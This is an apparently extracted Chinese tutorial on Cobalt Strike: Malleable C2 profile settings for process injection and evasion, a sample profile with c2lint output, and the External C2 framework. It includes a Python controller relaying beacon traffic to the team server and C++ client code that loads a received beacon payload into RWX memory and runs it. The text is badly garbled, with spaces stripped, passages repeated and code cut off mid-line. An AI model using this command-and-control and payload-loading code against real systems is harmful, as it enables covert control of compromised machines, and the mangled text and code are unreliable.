產(chǎn)品的額外關注。默認情況下,Beacon的加載程序使用VirtualAlloc分配內(nèi)存。模塊踩踏是另一種選擇。將module_x86設置為DLL,該DLL大約是Beacon有效負載本身的兩倍。Beacon的x86加載器將加載指定的DLL,在內(nèi)存中找到它的位置,并覆蓋它。這是一種將Beacon置于Windows與磁盤上的文件關聯(lián)的內(nèi)存中的方法。您想要駐留的應用程序不需要您選擇的DLL。重要的是module_x64選項是相同的,但它會影響x64Beacon。如果您擔心在內(nèi)存中初始化BeaconDLL的Beacon階段,請將cleanup設置為true。當不再需要時,此選項將釋放與 transform-x86和transform-x64阻止Beacon注入的PAD內(nèi)容。這些塊支持兩個命令:prepend和appendprepend命令在插入的內(nèi)容之前插入transform-x86和transform-x64阻止Beacon注入的PAD內(nèi)容。這些塊支持兩個命令:prepend和appendprepend命令在插入的內(nèi)容之前插入一個字符串。append命令在注入的內(nèi)容之后添加一個字符串。確保預先準備好的數(shù)據(jù)是(x86、x64)的有效代碼。c2lint程序沒有對此進行檢查。disable語句是避免beacon進程注入程序使用某些API。您可以禁用:sethreadcontext、createRemoteThread和rtlcreateUserThread。請注意,當您禁用這些API時,Beacon注入進程時可能會失敗。c2lint命令會發(fā)出一些警告。process-inject塊接受幾個控制Beacon進程注入的選項注意MinimumamountofmemorytorequestforinjectedUseRWXasinitialpermissionsforinjectedcontent.AlternativeisRW.UseRWXasfinalpermissionsforinjectedcontent.AlternativeisRX.process-injectsetmin_alloc"16384";setstartrwx"true";setuserwx"false";transform-x86prepend}transform-x64#transformx64injected}disable}Malleable每個CobaltStrike實例一次Malleable每個CobaltStrike實例一次使用一個配置文件。如果您更改配置文件或加載新配置文件,則以前部署的Beacons后門無法與您通信。簡單來說就是如果你更改了 C2文件則之前的后門會無法連接到CS只能重新生成后門并讓目標運行MalleableC2profile編也不能算是編寫這是我使用默認的profile語C2profile做一個改造讓讀者熟悉一#默認sleep時setsleeptime#sleep隨機抖set #profile文件的名setsample_name"CobaltStrikeBeacon#user-setuseragent定義HTTPGET請求http-get{#定義請求url如果定義多個請用空格分割Beacon會隨機選seturiclient{#header頭部定header"Host""";#定義數(shù)據(jù)編碼方式和存放位metadataheader"Cookie";Malleable}}server{#定義Malleable}}server{#定義header"Content-Type""application/octet-stream";header"Server""IIS7.5";output{}}}#定義HTTPPOST請求http-post{#定義請求url如果定義多個請用空格分割Beacon會隨機選seturiclient{#header頭部定header"Content-Type""application/octet-id{parameter}#定義數(shù)據(jù)編碼方式和存放位output}}#定義CS服務端響serverheader"Content-Type"Malleable用c2lint.bat預覽檢查一下[+]ProfilecompiledOKGET/WBGlIlHTTP/1.1Host:Cookie:R2+spam1xgUcklFCYRJrFw==User-Agent:nullHTTP/1.1Malleable用c2lint.bat預覽檢查一下[+]ProfilecompiledOKGET/WBGlIlHTTP/1.1Host:Cookie:R2+spam1xgUcklFCYRJrFw==User-Agent:nullHTTP/1.1200Content-Type:application/octet-streamServer:IIS7.5Content-Length:http-POST/WBGlIl.php?id=53488Content-Type:application/octet-streamContent-Length:24User-Agent:HTTP/1.1200OKContent-Type:text/htmlContent-Length:0#定義服務端如何返回響output}}}MalleablePOST3xcheck.http-get.server.outputsizeis.http-get.clientsizeis.http-post.clientsize.http-[+].http-get.client.metadata00byte[s])[+].http-28[+].http-56MalleablePOST3xcheck.http-get.server.outputsizeis.http-get.clientsizeis.http-post.clientsize.http-[+].http-get.client.metadata00byte[s])[+].http-28[+].http-56[+].http-get.server.output[+].http-get.server.output[+].http-48[+].http-8576(0(1[+].http-post.client.idtransform+mangle+recoverpassed[+].http-post.client.output[+].http-.http-.http-POSTs48576[!].http-get.uriURI/WBGlIlhascommonbasewith.http-post.uriURI/WBGlIl.php(thismayconfuseuri-[+].host_stage:Willhostpayloadstage[!].spawnto_x86is'%windir%\syswow64\rundll32.exe'.Thisis*really*badOPSECMalleable這里我只是隨便寫一下不要使用,寫的很糟糕。這里的翻譯有部分沒有翻譯,等我日后在弄吧[!].spawnto_x64Malleable這里我只是隨便寫一下不要使用,寫的很糟糕。這里的翻譯有部分沒有翻譯,等我日后在弄吧[!].spawnto_x64is'%windir%\sysnative\rundll32.exe'.Thisis*really*badOPSEC[!].code-signer.keystoreismissing.WillnotsignexecutablesandDLLs[!].https-certificateoptionsaremissing[willusebuilt-inSSLcert]External首先什么是ExternalC2是External首先什么是ExternalC2是由CobaltStrike提出的一套規(guī)范/框架,它允許黑客根據(jù)需要對框架提供的默認HTTP(S)/DNSSMBC2通信通道進行擴展。這句話估計都聽煩了,簡單說就是用戶可以開發(fā)自己的控制器(服務端)和客戶端(被控端)而不是直接使用CS自1.第三方控制器(Third-pController)——負責與CobaltStrikeTeamServer(C服務端)進行連接[通信方式使用TCP連接],并使用自定義C2通道與目標主機上的第三方客戶端進行通信[通信方式自定義]第三方客戶端(Third-partyClient)——負責使用自定義的C2通道與第三方控制器進行通信,創(chuàng)建SMBBeacon并與其通信[通信方式使用命名管道]。 Beacon——受害者機器上運行的BeacExternal讓CobaltStrike啟動ExternalC2我們需要使用External讓CobaltStrike啟動ExternalC2我們需要使用externalc2_start函數(shù)監(jiān)聽指定端口等待第三方控制端連接進行通信最開始通信時,第三方服務端與CS服務端建立連接,然后發(fā)送一些選項,發(fā)送數(shù)據(jù)由4字節(jié)的數(shù)據(jù)塊長度字段(低字節(jié)序)以及一個數(shù)據(jù)塊所組成首先要發(fā)送以下的一些選項arch:待使用的beacon的架構(x86或xpipename:用來與beacon通信的管道(pipe)的名稱block:sleep選項(以毫秒為單位所有選項發(fā)送完畢后,第三方服務端在發(fā)送一條go指令。這條指令表示一切ok,CS生成并發(fā)送SMBbeaconpayload。第三方服務端隨后會將這個SMBbeaconpayload轉發(fā)給第三方客戶端,然后第三方客戶端接收SMBbeaconpayload然后啟動SMBbeacon。在一切完成后會產(chǎn)生一個如下的循環(huán)不斷處理CS發(fā)送的命令然后返回執(zhí)行的結果發(fā)送命令:CS服務端——>第三方服務端——>第三方客戶端——>SM返回結果beacon——>第三方服務端——>第三方客戶端——>CS服務端需要注意以上的數(shù)據(jù)傳輸格除了第三方服務端和第三方客戶端的通信格式可以自定義其他全是按照4字節(jié)數(shù)據(jù)塊長度段+數(shù)據(jù)塊組成經(jīng)典案先說一個經(jīng)典案例然后在說一個別的。在這個經(jīng)典案例中我們使用Python編寫第三方服務端C++編寫第三方客戶端。首先讓CS啟動ExternalC2并監(jiān)聽一個端口等待連接,這個腳本很簡單就一行代碼直接CS讓加載這個腳本就行External該語句執(zhí)行完畢后,ExExternal該語句執(zhí)行完畢后,ExternalC2會在2222端口上監(jiān)聽請求importsocketimportstructimporttimeclassExternalC2Controller:definit(self,port):self.port=defencodeFrame(self,returnstruct.pack("<I",len(data))+defdecodeFrame(self,len=struct.unpack("<I",data[0:3])body=data[4:]return(len,defsendToTS(self,data):defrecvFromTS(self):data=""_len=self._socketTS.recv(4)l=struct.unpack("<I",_len)[0]whilelen(data)<l:data+=self._socketTS.recv(l-len(data))returndatadefsendToBeacon(self,data):defrecvFromBeacon(self):data=""externalc2_start("",External_lenl=struct.unpack("<I",_len)[0]whilelen(data)<l:data+=self._socketClient.recv(l-External_lenl=struct.unpack("<I",_len)[0]whilelen(data)<l:data+=self._socketClient.recv(l-returndef#Firstthing,waitforaconnectionfromourcustomself._socketBeacon=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.IPPROTO_IP)self._socketBeacon.bind(("",8081))self._socketClient="ReceivedC2#hCSwehaveabeaconconnection,wekickoffcommsself._socketTS=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.IPPROTO_IP)self._socketTS.connect(("",#Sendoutconfigoptions#ReceivethebeaconpayloadfromCStoforwardtoourcustombeacondata=print"Sending%dbytestobeacon"%data=print"Received%dbytesfrombeacon"%print"Sending%dbytestoTS"%External基本流程連接CS服務端發(fā)送選項接收payloaExternal基本流程連接CS服務端發(fā)送選項接收payload轉發(fā)到第三方客戶端,轉發(fā)命令到第三方客戶端然后轉發(fā)執(zhí)行的結果到CS服務端#include//AllocatesaRWXpagefortheCSbeacon,copiesthepayload,andstartsanewthreadvoidspawnBeacon(char*payload,DWORDlen)HANDLEthreadHandle;DWORDthreadId=0;char*alloc=(char*)VirtualAlloc(NULL,len,MEM_COMMIT,PAmemcpy(alloc,payload,threadHandle=CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)alloc,NULL,0,&threadId);}//SendsdatatoourC2controllerreceivedfromourinjectedbevoidsendData(SOCKETsd,constchar*data,DWORD{char*buffer=(char*)malloc(len+4);if(buffer==NULL)data=print"Received%dbytesfromTS"%controller=ExternalC2Controller(3389)ExternalDWORD=0,totalLen=*(DWORD*)buffermemcpy(buffer+data,while(totalLenExternalDWORD=0,totalLen=*(DWORD*)buffermemcpy(buffer+data,while(totalLen<len+4)bytesWritten=send(sd,buffer+totalLen,len+alLen,0);totalLen+=}}4//Receivesdatafromourectedbeaconchar*recvData(SOCKETsd,char*buffer;DWORDbytesReceivedC2toberelayedDWORD{0,=*len=bufferif(char4,(char==returnwhile(totalLen<{bytesReceived=recv(sd,Len,totalLen+=}return+-//CreatesanewC2controllerconnectionforrelayingcommandsSOCKETcreateC2Socket(constchar*addr,WORDport){WSADATASOCKETExternalSOCKADDR_INWSAStartup(0x0202,memset(&sin,0,sizeof(sin));sin.sin_family=AF_INET;sin.sin_port=htons(port);sin.sin_addr.S_un.S_addr=sd=socket(AF_INET,SOCK_STREAM,ExternalSOCKADDR_INWSAStartup(0x0202,memset(&sin,0,sizeof(sin));sin.sin_family=AF_INET;sin.sin_port=htons(port);sin.sin_addr.S_un.S_addr=sd=socket(AF_INET,SOCK_STREAM,connect(sd,(SOCKADDR*)&sin,return}//Connectstothenamepipe

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經(jīng)權益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論